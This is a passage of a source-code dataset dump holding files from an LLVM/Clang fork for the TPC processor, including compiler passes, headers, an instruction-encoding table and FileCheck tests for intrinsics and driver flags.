~MapSignedDivide() = default;\n\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST);\n};\n\nclass MapFDivide : public MapCompundInstToIntrinsics {\npublic:\n virtual ~MapFDivide() = default;\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n assert(I->getType()->isVectorTy() && \"FDIV not supported on scalar pipe.\");\n return {{Intrinsic::tpc_calc_fp_special, 1}};\n }\n};\n\nclass MapFRem : public MapFDivide {\n\npublic:\n IntrinsicVector Base = {{Intrinsic::tpc_mul, 1}, {Intrinsic::tpc_sub, 1}};\n const IntrinsicVector &getBase() const { return Base; }\n\n virtual ~MapFRem() = default;\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST);\n};\n#endif // LLVM_TPCMAPCOMPOUNDINST_H\n" }, { "alpha_fraction": 0.4924089014530182, "alphanum_fraction": 0.5678137540817261, "avg_line_length": 37.74509811401367, "blob_id": "8a65638487ee396a1c9de0e7fad63bd28c42f161", "content_id": "cddc3446df81b134b4c65c47f49ae159fc113f61", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1976, "license_type": "permissive", "max_line_length": 114, "num_lines": 51, "path": "/clang/test/RC99/Intrinsics/mov_dg-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\n\nvoid main(int dest, int src, int vpredp, _Bool pred) {\n float64 __local *dest_ptr = (float64 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n float64 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n {\n bfloat128 res = as_bfloat128(income);\n bfloat128 xx = as_bfloat128(x);\n bfloat128 *d_ptr = (bfloat128 __local *)dest_ptr;\n \n res = v_bf16_mov_dual_group_b(xx, 2, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x2, [[PRED]]\n\n res = v_bf16_mov_dual_group_b(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_bf16_mov_dual_group_b(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_bf16_mov_dual_group_vb(xx, 1, 0, 3, SW_WR_LOWER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_bf16_mov_dual_group_vb(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_bf16_mov_dual_group_vb(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n}\n" }, { "alpha_fraction": 0.6676624417304993, "alphanum_fraction": 0.6676624417304993, "avg_line_length": 28.086956024169922, "blob_id": "490467b65c91053fe2e69c73351146b1309c7a09", "content_id": "7d91f1c34f721d35e64694b82663687a329616bd", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1339, "license_type": "permissive", "max_line_length": 80, "num_lines": 46, "path": "/llvm/lib/Target/TPC/TPCAsmPrinter.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCAsmPrinter.h - TPC implementation of AsmPrinter ------*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCASMPRINTER_H\n#define LLVM_LIB_TARGET_TPC_TPCASMPRINTER_H\n\n#include \"TPCSubtarget.h\"\n#include \"llvm/CodeGen/AsmPrinter.h\"\n#include \"llvm/CodeGen/FaultMaps.h\"\n#include \"llvm/CodeGen/StackMaps.h\"\n#include \"llvm/Target/TargetMachine.h\"\n\n// Implemented in TPCMCInstLower.cpp\nnamespace {\n class TPCMCInstLower;\n}\n\nnamespace llvm {\nclass MCStreamer;\nclass MCSymbol;\n\nclass LLVM_LIBRARY_VISIBILITY TPCAsmPrinter : public AsmPrinter {\npublic:\n explicit TPCAsmPrinter(TargetMachine &TM,\n std::unique_ptr<MCStreamer> Streamer)\n : AsmPrinter(TM, std::move(Streamer)) {}\n\n void EmitInstruction(const MachineInstr *MI) override;\n bool PrintAsmOperand(const MachineInstr *MI, unsigned OpNo,\n const char *ExtraCode, raw_ostream &OS) override;\n bool isBlockOnlyReachableByFallthrough(\n const MachineBasicBlock *MBB) const override;\n\nprivate:\n bool isLoop(const MachineInstr& MI) const;\n};\n\n} // end namespace llvm\n\n#endif\n\n" }, { "alpha_fraction": 0.6126984357833862, "alphanum_fraction": 0.641269862651825, "avg_line_length": 20, "blob_id": "fc7973bf06312b648fe3caf6ea33e539fce8519a", "content_id": "b3108696d07935cf0e3da175f92f5ed5412d3eec", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 315, "license_type": "permissive", "max_line_length": 96, "num_lines": 15, "path": "/clang/test/RC99/inline_01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang_cc1 -S -emit-llvm -triple tpc-none-none -std=rc99 %s -o - 2>&1 | FileCheck %s\n\nint factorial(int n)\n{ \n if (n == 1)\n return 1;\n return n*factorial(n - 1);\n}\n\n\nint main()\n{\n return factorial(7);\n}\n// CHECK: fatal error: error in backend: Function 'factorial' participates in recursion call.\n" }, { "alpha_fraction": 0.4221360981464386, "alphanum_fraction": 0.5148946642875671, "avg_line_length": 31.00775146484375, "blob_id": "4da1158aa98d0ec172232e170572d359257a4e32", "content_id": "2318d902a7d2cd737385cce711dc6453a8b2a6fe", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4129, "license_type": "permissive", "max_line_length": 80, "num_lines": 129, "path": "/llvm/tools/llvm-objdump/tpc-encoding-info.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-tpc-encoding-info.h-------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#ifndef LLVM_TOOLS_LLVM_OBJDUMP_TPC_ENCODING_INFO_H\n#define LLVM_TOOLS_LLVM_OBJDUMP_TPC_ENCODING_INFO_H\n\n#ifdef LLVM_TPC_COMPILER\n#include <vector>\n\nstruct Encoding {\n const char *field_name;\n uint8_t start_bit;\n uint8_t field_size;\n Encoding(const char *fn, int sb, int sz) :\n field_name(fn), start_bit(sb), field_size(sz)\n {}\n};\n\n#define SRCA_IND 9\n#define SRCA_IND_G3 11\n#define DEST_IND 13\n\n#define SPU_OPCODE_IND 0\n#define SPU_OPCODE_IND_G3 2\n\n#define VPU_OPCODE_IND 8\n#define VPU_OPCODE_IND_G3 10\n\n#define LD_OPCODE_IND 20\n#define LD_OPCODE_IND_G3 24\n#define LD_OPCODE_IND_G3_C 4 // Compressed.\n\n#define ST_OPCODE_IND 23\n#define ST_OPCODE_IND_G3 31\n#define ST_OPCODE_IND_G3_C 11 // Compressed.\n\n#define MOV_OPCODE_LD_SLOT 5\n#define MOV_OPCODE_VPU_SLOT 8\n#define LOOP_OPCODE 34\n\nconst static std::vector<Encoding> dali_encoding = {\n/* 0 */ {\"SPU_OPCODE\", 0, 6},\n/* 1 */ {\"SPU_SRC_A\", 6, 7},\n/* 2 */ {\"SPU_SRC_B\", 13, 7},\n/* 3 */ {\"SPU_DEST\", 20, 7},\n/* 4 */ {\"SPU_OPERANDS_TYPE\", 27, 4},\n/* 5 */ {\"SPU_PREDICATE_POLARITY\", 31, 1},\n/* 6 */ {\"SPU_PREDICATE_ADDRESS\", 32, 4},\n/* 7 */ {\"SPU_SWITCHES\", 36, 7},\n/* 8 */ {\"VPU_OPCODE\", 43, 6},\n/* 9 */ {\"VPU_SRC_A\", 49, 8},\n/* 10 */ {\"VPU_SRC_B\", 57, 8},\n/* 11 */ {\"VPU_SRC_C_ST_SRC_C\", 65, 8},\n/* 12 */ {\"VPU_SRC_D_LD_SRC_B\", 73, 9},\n/* 13 */ {\"VPU_DEST\", 82, 8},\n/* 14 */ {\"VPU_SWITCHES\", 90, 3},\n/* 15 */ {\"VPU_OPERANDS_TYPE\", 93, 4},\n/* 16 */ {\"VPU_PREDICATE_POLARITY\", 97, 1},\n/* 17 */ {\"VPU_PREDICATE_ADDRESS\", 98, 5},\n/* 18 */ {\"LOAD_SRC_A\", 103, 8},\n/* 19 */ {\"LOAD_DST\", 111, 8},\n/* 20 */ {\"LOAD_OPCODE\", 119, 5},\n/* 21 */ {\"STORE_SRC_A\", 124, 8},\n/* 22 */ {\"STORE_SRC_B\", 132, 8},\n/* 23 */ {\"STORE_OPCODE\", 140, 5},\n/* 24 */ {\"LOAD_STORE_PREDICATE_POLARITY\", 145, 1},\n/* 25 */ {\"LOAD_STORE_PREDICATE_ADDRESS\", 146, 5},\n/* 26 */ {\"IMMEDIATE\", 151, 32},\n/* 27 */ {\"RESERVED\", 183, 73}};\n\nconst static std::vector<Encoding> gaudi_encoding = {\n/* 0 */ {\"SPU_OPCODE\", 0, 6},\n/* 1 */ {\"SPU_SRC_A\", 6, 7},\n/* 2 */ {\"SPU_SRC_B\", 13, 7},\n/* 3 */ {\"SPU_DEST\", 20, 7},\n/* 4 */ {\"SPU_OPERANDS_TYPE\", 27, 4},\n/* 5 */ {\"SPU_PREDICATE_POLARITY\", 31, 1},\n/* 6 */ {\"SPU_PREDICATE_ADDRESS\", 32, 4},\n/* 7 */ {\"SPU_SWITCHES\", 36, 7},\n/* 8 */ {\"VPU_OPCODE\", 43, 6},\n/* 9 */ {\"VPU_SRC_A\", 49, 8},\n/* 10 */ {\"VPU_SRC_B\", 57, 8},\n/* 11 */ {\"VPU_SRC_C_ST_SRC_C\", 65, 8},\n/* 12 */ {\"VPU_SRC_D_LD_SRC_B\", 73, 9},\n/* 13 */ {\"VPU_DEST\", 82, 8},\n/* 14 */ {\"VPU_SWITCHES\", 90, 3},\n/* 15 */ {\"VPU_OPERANDS_TYPE\", 93, 4},\n/* 16 */ {\"VPU_PREDICATE_POLARITY\", 97, 1},\n/* 17 */ {\"VPU_PREDICATE_ADDRESS\", 98, 5},\n/* 18 */ {\"LOAD_SRC_A\", 103, 8},\n/* 19 */ {\"LOAD_DST\", 111, 8},\n/* 20 */ {\"LOAD_OPCODE\", 119, 5},\n/* 21 */ {\"STORE_SRC_A\", 124, 8},\n/* 22 */ {\"STORE_SRC_B\", 132, 8},\n/* 23 */ {\"STORE_OPCODE\", 140, 5},\n/* 24 */ {\"LOAD_STORE_PREDICATE_POLARITY\", 145, 1},\n/* 25 */ {\"LOAD_STORE_PREDICATE_ADDRESS\", 146, 5},\n/* 26 */ {\"IMMEDIATE\", 151, 32},\n/* 27 */ {\"LOAD_SWITCHES\", 183, 4},\n/* 28 */ {\"STORE_SWITCHES\", 187, 4},\n/* 29 */ {\"RESERVED\", 191, 65}};\n\nconst static std::vector<Encoding> loop_encoding = {\n {\"SPU_OPCODE\", 0, 6},\n {\"START_VALUE_SRF_SRC\", 6, 7},\n {\"BOUNDARY_VALUE_SRF_SRC\", 13, 7},\n {\"STEP_SRF_SRC\", 20, 6},\n {\"START_VALUE_SEL\", 26, 1},\n {\"BOUNDARY_VALUE_SEL\", 27, 1},\n {\"STEP_SEL\", 28, 1},\n {\"REPEAT_AT_MOST_ONCE\", 29, 1},\n {\"RESERVED\", 30, 1},\n {\"PREDICATE_POLARITY\", 31, 1},\n {\"PREDICATE_ADDRESS\", 32, 4},\n {\"BOUNDARY_VALUE_IMM\", 36, 32},\n {\"STEP_VALUE_IMM\", 68, 32},\n {\"END_PC_OFFSET\", 100, 16},\n {\"COMP_MODE\", 116, 3},\n {\"START_VALUE_IMM\", 151, 32}};\n\n#endif\n\n#endif\n" }, { "alpha_fraction": 0.5547025203704834, "alphanum_fraction": 0.5892514586448669, "avg_line_length": 34.931034088134766, "blob_id": "cee85e11a900e8acc6b892efa719cbf7467c5826", "content_id": "29801192465afdff5a2ddf23b348df550e5c9790", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1042, "license_type": "permissive", "max_line_length": 106, "num_lines": 29, "path": "/clang/test/RC99/driver/cpu-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang -target tpc -std=rc99 -c -march=dali %s -o - -### 2>&1 | FileCheck --check-prefix=GOYA %s\n// RUN: %clang -target tpc -std=rc99 -c -march=goya %s -o - -### 2>&1 | FileCheck --check-prefix=GOYA %s\n// RUN: %clang -target tpc -std=rc99 -c -march=gaudi %s -o - -### 2>&1 | FileCheck --check-prefix=GAUDI %s\n\n\n\n\n\n// RUN: %clang -target tpc -std=rc99 -c -mtune=dali %s -o - -### 2>&1 | FileCheck --check-prefix=GOYA %s\n// RUN: %clang -target tpc -std=rc99 -c -mtune=goya %s -o - -### 2>&1 | FileCheck --check-prefix=GOYA %s\n// RUN: %clang -target tpc -std=rc99 -c -mtune=gaudi %s -o - -### 2>&1 | FileCheck --check-prefix=GAUDI %s\n\n\n\n\n\n// RUN: %clang -target tpc -std=rc99 -c -mcpu=dali %s -o - -### 2>&1 | FileCheck --check-prefix=GOYA %s\n// RUN: %clang -target tpc -std=rc99 -c -mcpu=goya %s -o - -### 2>&1 | FileCheck --check-prefix=GOYA %s\n// RUN: %clang -target tpc -std=rc99 -c -mcpu=gaudi %s -o - -### 2>&1 | FileCheck --check-prefix=GAUDI %s\n\n\n\n\n\nvoid main() {\n}\n\n// GOYA: \"-target-cpu\" \"goya\"\n// GAUDI: \"-target-cpu\" \"gaudi\"\n" }, { "alpha_fraction": 0.5230326056480408, "alphanum_fraction": 0.5441458821296692, "avg_line_length": 32.458717346191406, "blob_id": "7f74170cc642022e9822e9242922097930bdba2f", "content_id": "24fea6d17e03c378ba7eea130c2226e539f67430", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7294, "license_type": "permissive", "max_line_length": 84, "num_lines": 218, "path": "/llvm/lib/Target/TPC/TPCFMAOpt.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCFMAOpt.cpp ------------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// This pass\n// transforms a*b + c => ..mac..(a,b,c,0)\n// a*b - c => ..mac..(a,b,c,1)\n//===----------------------------------------------------------------------===//\n#ifdef LLVM_TPC_COMPILER\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/Intrinsics.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/PassRegistry.h\"\n\n#define DEBUG_TYPE \"TPCFMAopt\"\n\nusing namespace llvm;\n\nnamespace llvm {\n FunctionPass *createTPCFMAoptPass();\n void initializeTPCFMAoptPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC FMA optimization\";\nstatic const char PassName[] = \"tpc-fma-opt\";\n\nstatic cl::opt<bool>\nEnableTPCFMAopt(PassName,\n cl::Hidden,\n cl::init(false));\n\n\nnamespace {\n class TPCFMAopt : public FunctionPass {\n Function *F = nullptr;\n unsigned NumTransformed = 0;\n public:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCFMAopt() : FunctionPass(ID) {\n initializeTPCFMAoptPass(*PassRegistry::getPassRegistry());\n }\n bool runOnFunction(Function &F) override;\n };//class\n}//namespace\n\nchar TPCFMAopt::ID = 0;\nINITIALIZE_PASS(TPCFMAopt, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCFMAoptPass() {\n return new TPCFMAopt();\n}\n\nbool TPCFMAopt::runOnFunction(Function &Func) {\n\n if (!EnableTPCFMAopt) {\n return false;\n }\n\n if (skipFunction(Func))\n return false;\n F = &Func;\n LLVMContext &Ctx = Func.getContext();\n NumTransformed = 0;\n IntegerType *I32Type = Type::getInt32Ty(Ctx);\n IntegerType *I1Type = Type::getInt1Ty(Ctx);\n IntegerType *I8Type = Type::getInt8Ty(Ctx);\n IntegerType *I16Type = Type::getInt16Ty(Ctx);\n Type *F32Type = Type::getFloatTy(Ctx);\n Type *HalfType = Type::getHalfTy(Ctx);\n Type *BF16Type = Type::getBFloat16Ty(Ctx);\n VectorType* Int64Type = VectorType::get(I32Type, 64);\n VectorType* Float64Type = VectorType::get(F32Type, 64);\n VectorType* Short128Type = VectorType::get(I16Type, 128);\n VectorType* Bfloat128Type = VectorType::get(BF16Type, 128);\n VectorType* Char256Type = VectorType::get(I8Type, 256);\n VectorType* Int5Type = VectorType::get(I32Type, 5);\n\n\n for (auto BBIt = Func.begin(), BBEnd = Func.end(); BBIt != BBEnd;) {\n BasicBlock &BB = *BBIt;\n ++BBIt;\n SmallVector<Instruction *, 16> MulList;\n for (auto It = BB.begin(), E = BB.end(); It != E;) {\n Instruction &I = *It;\n ++It;\n /////////////////////// Insert here //////////////////\n if (I.getOpcode() == Instruction::Mul || I.getOpcode() == Instruction::FMul) {\n MulList.push_back(&I);\n }\n } //Instruction loop\n // this opt better to do for each BB, otherwise would not be optimal\n //------------------------------------------------------\n for (auto muli : MulList) {\n Type *itp = muli->getType();\n VectorType *vt = dyn_cast<VectorType>(itp);\n if (vt) { // not yet\n continue;\n }\n Value *opnd0 = muli->getOperand(0);\n Value *opnd1 = muli->getOperand(1);\n#define SIGNED 1\n#define UNSIGN 2\n int sun0 = 0, sun1 = 0; // signed/unsigned 1,2\n if (auto sex = dyn_cast<SExtInst>(opnd0)) {\n opnd0 = sex->getOperand(0);\n sun0 = SIGNED;\n } else if (auto zex = dyn_cast<ZExtInst>(opnd0)) {\n opnd0 = zex->getOperand(0);\n sun0 = UNSIGN;\n }\n if (auto sex = dyn_cast<SExtInst>(opnd1)) {\n opnd1 = sex->getOperand(0);\n sun1 = SIGNED;\n } else if (auto zex = dyn_cast<ZExtInst>(opnd1)) {\n opnd1 = zex->getOperand(0);\n sun1 = UNSIGN;\n }\n assert(sun0 == sun1);\n Type *opnd_type = opnd1->getType();\n SmallVector<Instruction *, 4> UserList;\n UserList.clear();\n for (auto Usr : muli->users()) {\n Instruction *usi = dyn_cast<Instruction>(Usr);\n if (usi) {\n UserList.push_back(usi);\n }\n }\n\n for (auto Usr : UserList) { // may be better to have only 1 user (\n // otherwise regs will be duplicated\n Instruction *usi = dyn_cast<Instruction>(Usr);\n if (usi) {\n bool intop = (usi->getOpcode() == Instruction::Add ||\n usi->getOpcode() == Instruction::Sub);\n\n bool floatop = (usi->getOpcode() == Instruction::FAdd ||\n usi->getOpcode() == Instruction::FSub);\n\n IRBuilder<> Builder(usi);\n Value *ExtF;\n Type *mactype = (intop) ? I32Type : F32Type;\n unsigned swity = 0;\n unsigned swval = 0;\n if (intop) {\n // in that case we can replace usi by MAC\n if (opnd_type == I16Type) {\n swity = 7;\n } else if (opnd_type == I8Type) {\n swity = 4;\n }\n } else if (floatop) {\n if (opnd_type == F32Type) {\n swity = 0;\n } else if (opnd_type == BF16Type) {\n swity = 1;\n mactype = BF16Type;\n } else if (opnd_type == HalfType) {\n swity = 11;\n mactype = HalfType;\n }\n // FP8: no mac intrin with FP8\n } else {\n llvm_unreachable(\"unexpected opearion\");\n }\n ExtF = Intrinsic::getDeclaration(F->getParent(), Intrinsic::tpc_mac,\n {mactype, opnd_type, I1Type});\n Value *acc_opnd;\n Value *us_opnd0 = usi->getOperand(0);\n Instruction *usi0 = dyn_cast<Instruction>(us_opnd0);\n Value *us_opnd1 = usi->getOperand(1);\n acc_opnd = us_opnd1;\n if (usi->getOpcode() == Instruction::Sub) {\n if (usi0 && usi0->getOpcode() == Instruction::Mul) {\n acc_opnd =\n Builder.CreateSub(ConstantInt::get(mactype, 0), us_opnd1);\n } else\n continue;\n }\n if (usi->getOpcode() == Instruction::FSub) {\n if (usi0 && usi0->getOpcode() == Instruction::FMul) {\n acc_opnd =\n Builder.CreateFSub(ConstantFP::get(mactype, 0.0), us_opnd1);\n } else {\n swval = 1 << 1;\n acc_opnd = us_opnd0;\n }\n }\n Value *NewIns = Builder.CreateCall(\n ExtF, {opnd0, opnd1, ConstantInt::get(I8Type, swity), // op_type\n ConstantInt::get(I32Type, swval), // switch\n acc_opnd, ConstantInt::get(I1Type, 1),\n ConstantInt::get(I1Type, 0)});\n usi->replaceAllUsesWith(NewIns);\n usi->eraseFromParent();\n NumTransformed++;\n }\n }\n }\n } // BB loop\n return NumTransformed > 0;\n}\n\n#endif // LLVM_TPC_COMPILER\n" }, { "alpha_fraction": 0.6492664813995361, "alphanum_fraction": 0.651540994644165, "avg_line_length": 37.90707778930664, "blob_id": "560bf3aea55e9f95d8a0624ea35164fa41c44d9c", "content_id": "6cfe2266ff332fe3103d80eaa79b5e7e6ad1cc85", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 17586, "license_type": "permissive", "max_line_length": 81, "num_lines": 452, "path": "/llvm/lib/Transforms/Scalar/TPCIterationClusterizer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCIterationClusterizer.cpp------------------------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#include \"TPCIterationClusterizer.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"clusterizer\"\n\nIterationClusterizer::IterationClusterizer(Loop *WorkingLoop,\n ScalarEvolution *SE,\n bool PopulateIfMultiCluster,\n bool SkipIfZeroLoadTensors,\n bool ShouldDetectPipelinedLoads)\n : WorkingLoop(WorkingLoop), SE(SE),\n PopulateIfMultiCluster(PopulateIfMultiCluster),\n SkipIfZeroLoadTensors(SkipIfZeroLoadTensors),\n ShouldDetectPipelinedLoads(ShouldDetectPipelinedLoads), NumClusters(0),\n IsAccumulationLoop(false) {\n assert(WorkingLoop && \"Cannot clusterize : Invalid loop\");\n assert(WorkingLoop->getSubLoops().size() == 0 &&\n \"Cannot clusterize : Non-innermost loop\");\n assert((WorkingLoop->getNumBlocks() < 2) &&\n \"Cannot clusterize : Loops with branching\");\n HeaderBlock = WorkingLoop->getHeader();\n PreheaderBlock = WorkingLoop->getLoopPreheader();\n\n WorkingLoop->getInductionDescriptor(*SE, InductionDesc);\n}\n\nbool IterationClusterizer::recursivelyMarkClusters(\n Instruction *I, unsigned ClusterIdx, InstInstMapType &AccumPhiMap,\n InstructionSetType &UnclusteredInstructions, UnionFind &ClusterUF,\n std::string Indent) {\n Indent += \"\\t\";\n CLUSTER_INFO_DEBUG(Indent << *I)\n if (I->getParent() != HeaderBlock) {\n CLUSTER_INFO_DEBUG(Indent << \"not in BasicBlock, continuing ...\")\n return true;\n }\n\n if (TPCOptUtils::isCoordUpdate(I)) {\n UnclusteredInstructions.erase(I);\n return true;\n }\n if (auto *PHI = dyn_cast<PHINode>(I)) {\n UnclusteredInstructions.erase(I);\n if (ShouldDetectPipelinedLoads) {\n // We handle PHIs of ld_tnsr by marking the incoming from the header as\n // the corresponding ld_tnsr of the current cluster. This should traverse\n // the \"PHI rewired\" loads post LoopSWP\n\n if (PHI->getNumIncomingValues() != 2)\n return true;\n\n if (PHI->getBasicBlockIndex(HeaderBlock) == -1 ||\n PHI->getBasicBlockIndex(PreheaderBlock) == -1)\n return true;\n\n Instruction *HeaderInc =\n dyn_cast<Instruction>(PHI->getIncomingValueForBlock(HeaderBlock));\n Instruction *PreheaderInc =\n dyn_cast<Instruction>(PHI->getIncomingValueForBlock(PreheaderBlock));\n\n if (!HeaderInc || !PreheaderInc)\n return true;\n\n if (!TPCOptUtils::isIntrinsicOfType(HeaderInc, Intrinsic::tpc_ld_tnsr) ||\n !TPCOptUtils::isIntrinsicOfType(PreheaderInc, Intrinsic::tpc_ld_tnsr))\n return true;\n I = HeaderInc;\n } else {\n if (AccumPhiMap.find(I) == AccumPhiMap.end()) {\n // Coord / Income-Pred Phis are supposed to be reached through InstSeq\n CLUSTER_INFO_DEBUG(Indent << \"Non-accum phi reached, continuing ...\")\n return false;\n }\n CLUSTER_INFO_DEBUG(Indent << \"Phi reached, continuing ...\")\n return true;\n }\n }\n\n if (TPCOptUtils::isLoadTensor(I)) {\n CLUSTER_INFO_DEBUG(Indent << \"- is a Load\")\n auto It = InstClusterMap.find(I);\n if (It != InstClusterMap.end()) {\n CLUSTER_INFO_DEBUG(Indent << \"- already visited (Cluster #\" << It->second\n << \")\")\n ClusterUF.unionNodes(ClusterIdx, It->second);\n return true;\n }\n InstClusterMap.insert(std::make_pair(I, ClusterIdx));\n HeaderLoadInstsSet.insert(I);\n UnclusteredInstructions.erase(I);\n } else if (AccumPhiMap.find(I) != AccumPhiMap.end()) {\n CLUSTER_INFO_DEBUG(Indent << \"- is an Accumulator, continuing ...\")\n UnclusteredInstructions.erase(I);\n return true;\n } else { // assume compute\n CLUSTER_INFO_DEBUG(Indent << \"- is a Compute\")\n auto It = InstClusterMap.find(I);\n if (It != InstClusterMap.end()) {\n CLUSTER_INFO_DEBUG(Indent << \"- already visited (Cluster #\" << It->second\n << \")\")\n ClusterUF.unionNodes(ClusterIdx, It->second);\n return true;\n }\n InstClusterMap.insert(std::make_pair(I, ClusterIdx));\n HeaderComputeInstsSet.insert(I);\n for (unsigned OpIdx = 0; OpIdx < I->getNumOperands(); OpIdx++) {\n if (auto *OpDef = dyn_cast<Instruction>(I->getOperand(OpIdx))) {\n if (!recursivelyMarkClusters(OpDef, ClusterIdx, AccumPhiMap,\n UnclusteredInstructions, ClusterUF,\n Indent)) {\n CLUSTER_INFO_DEBUG(Indent\n << \"recursive cluster marking failed, exiting ...\")\n return false;\n }\n }\n }\n UnclusteredInstructions.erase(I);\n }\n\n return true;\n}\n\nbool IterationClusterizer::markClustersForInsts(\n InstNumMapType &InstBBNumMap, InstructionVecType &OutInstList,\n InstInstMapType &AccumPhiMap, InstructionSetType &UnclusteredInstructions,\n std::string Indent) {\n std::string DebugTag = \"<markClustersForInsts> \";\n CLUSTER_INFO_DEBUG(DebugTag << \"Marking clusters for instructions\")\n // make sure the Out Instructions are in original order as in IR BasicBlock\n sort(OutInstList.begin(), OutInstList.end(),\n [&](Instruction *I1, Instruction *I2) -> bool {\n return (InstBBNumMap[I1] < InstBBNumMap[I2]);\n });\n\n unsigned N = OutInstList.size();\n UnionFind ClusterUF(N);\n\n for (unsigned i = 0; i < N; i++) {\n CLUSTER_INFO_DEBUG(DebugTag << \"\\tPreCluster #\" << i)\n Instruction *OutInst = OutInstList[i];\n CLUSTER_INFO_DEBUG(DebugTag << \"OutInst = \" << *OutInst)\n InstClusterMap.insert(std::make_pair(OutInst, i));\n unsigned StartIdx = 0, EndIdx = OutInst->getNumOperands();\n if (!IsAccumulationLoop)\n StartIdx = 1; // st_tnsr's 0'th operand is Coord\n // TODO : update this range once income-pred sequence for store is supported\n // too\n for (unsigned OpIdx = StartIdx; OpIdx < EndIdx; OpIdx++) {\n if (auto *OpDef = dyn_cast<Instruction>(OutInst->getOperand(OpIdx))) {\n if (!recursivelyMarkClusters(OpDef, i, AccumPhiMap,\n UnclusteredInstructions, ClusterUF,\n DebugTag)) {\n\n CLUSTER_INFO_DEBUG(DebugTag\n << 